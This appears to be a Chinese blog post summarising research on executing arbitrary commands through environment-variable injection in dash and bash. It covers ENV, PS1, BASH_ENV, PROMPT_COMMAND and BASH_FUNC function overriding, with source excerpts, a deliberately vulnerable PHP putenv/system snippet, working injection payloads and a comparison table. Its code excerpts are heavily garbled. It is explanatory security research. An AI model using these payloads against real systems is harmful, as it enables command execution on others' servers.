这篇文章只是对p牛的 我是如何利用环境变量注入执行任意命令  这篇文章进行总结
环境变量注入条件:用户可以控制环境变量,有执行命令的点但命令不可控
例子:
1 2 3 4 5 6 7 <?php foreach ($_REQUEST ['envs' ] as  $key  => $val ) {putenv ("{$key} ={$val} " );system ('echo hello' );?> 
其中PHP的system调用的是系统的popen(),而popen()最终执行的是sh -c "echo hello"
 
sh通常只是一个软连接。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。
 
dash dash源码 
ENV main函数有关环境变量的代码:
1 2 3 4 5 6 7 8 9 10 if  (#ifndef  linux #endif  if  ((shinit = lookupvar("ENV" )) != NULL  && *shinit != '\0' ) {
可以看到代码会先判断iflag的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #define  iflag optlist[3] const  char  optletters[NOPTS] = {'e' ,'f' ,'I' ,'i' ,'m' ,'n' ,'s' ,'x' ,'v' ,'V' ,'E' ,'C' ,'a' ,'b' ,'u' ,0 ,0 ,int  cmdline)char  *p;int  val;int  c;int  login = 0 ;if  (cmdline)NULL ;while  ((p = *argptr) != NULL ) {if  ((c = *p++) == '-' ) {1 ;else  if  (c == '+' ) {0 ;else  {break ;while  ((c = *p++) != '\0' ) {if  (c == 'c'  && cmdline) {else  if  (c == 'l'  && cmdline) {1 ;else  if  (c == 'o' ) {if  (*argptr)else  {return  login;int  flag, int  val)int  i;for  (i = 0 ; i < NOPTS; i++)if  (optletters[i] == flag) {if  (val) {if  (flag == 'V' )0 ;else  if  (flag == 'E' )0 ;return ;"Illegal option -%c" , flag);
通过以上代码可以知道setoption函数会解析传入的参数,当传入了-i时,iflag就为1了
结论:所以在dash中需要传入-i参数才能执行read_profile(shinit),解析ENV变量。但在php的system函数中不能使用
1 ENV='$(id 1>&2)'  dash -i -c 'echo hello' 
PS1、PS4 PS1、PS2、PS4这三个环境变量也会被expandstr函数解析
但是PS1有限制,需要进入交互式shell中才能执行
PS4则只能解析变量,无法执行命令
bash bash源码 
BASH_ENV 在bash中有个和ENV类似的变量:BASH_ENV
直接那上面的payload改:BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
可以发现不需要-i也能执行了
分析这段代码
1 2 3 4 5 6 7 8 9 10 11  if  (interactive_shell == 0  && !(su_shell && login_shell))if  (posixly_correct == 0  && act_like_sh == 0  && privileged_mode == 0  &&0 )"BASH_ENV" ));return ;
从注释中可以看到,当使用sh时,act_like_sh的值会为1,就不会解析BASH_ENV了
1 2 3 4 if  (shell_name[0 ] == 's'  && shell_name[1 ] == 'h'  && shell_name[2 ] == '\0' )if  (shell_name[0 ] == 's'  && shell_name[1 ] == 'u'  && shell_name[2 ] == '\0' )
所以只能在bash -c的情况下使用
ENV PS1 PROMPT_COMMAND 与dash同样,ENV PS1也能使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if  (act_like_sh == 0  && no_rc == 0 )#ifdef  SYS_BASHRC #  if  defined (__OPENNT) NULL , 0 ), 1 );#  else  1 );#  endif  #endif  1 );else  if  (act_like_sh && privileged_mode == 0  && sourced_env++ == 0 )"ENV" ));else 		if  (interactive_shell && privileged_mode == 0  && sourced_env++ == 0 )"ENV" ));
不过必须是通过sh调用,而不是直接使用bash
ENV='$(id 1>&2)' sh -i -c "echo hello"
PS1用法一样。在bash中还有一个变量PROMPT_COMMAND,设置了这个环境变量后,进入交互式模式前,会执行这个变量里包含的命令
PROMPT_COMMAND='id' bash
BASH_FUNC_xxx%% variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量
1 2 3 4 #define  BASHFUNC_PREFIX		"BASH_FUNC_"  #define  BASHFUNC_PREFLEN	10	 #define  BASHFUNC_SUFFIX		"%%"  #define  BASHFUNC_SUFFLEN	2	 
1 2 3 4 5 privmode == 0 ,即不能传入-p参数0 ,即不能传入-n参数10 个字符等于BASH_FUNC_"() {" , string , 4 ),环境变量的值前4 个字符等于() {
其实就是根据环境变量的值初始化一个匿名函数,并赋予其名字
例如env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
再将变量名改成system中执行的函数名,就能实现覆盖
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
但是设置BASH_FUNC_myfunc%%的方法并不完美,因为BASH_FUNC_是在Bash 4.4下引入的,centos 7的bash版本默认为Bash 4.2
Bash 4.2的补丁 
可以看到在4.2下的BASHFUNC_SUFFIX是(),而不是%%
更改payload:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
解决了文章开头提出的问题
总结 
dash 
bash 
条件 
 
 
ENV 
√ 
√ 
sh或者dash下额外的 -i -c 参数 
 
PS1 
√ 
√ 
交互环境下 
 
BASH_ENV 
× 
√ 
可以在 bash -c 时注入任意命令 sh -c 下无效 
 
PROMPT_COMMAND 
× 
√ 
交互环境下 
 
BASH_FUNC_xxx%% 
√ 
4.4及以上 √ 
无 
 
BASH_FUNC_xxx() 
√ 
4.4以前 √ 
无 
 
shellshock 
√ 
√ 
存在shellshock漏洞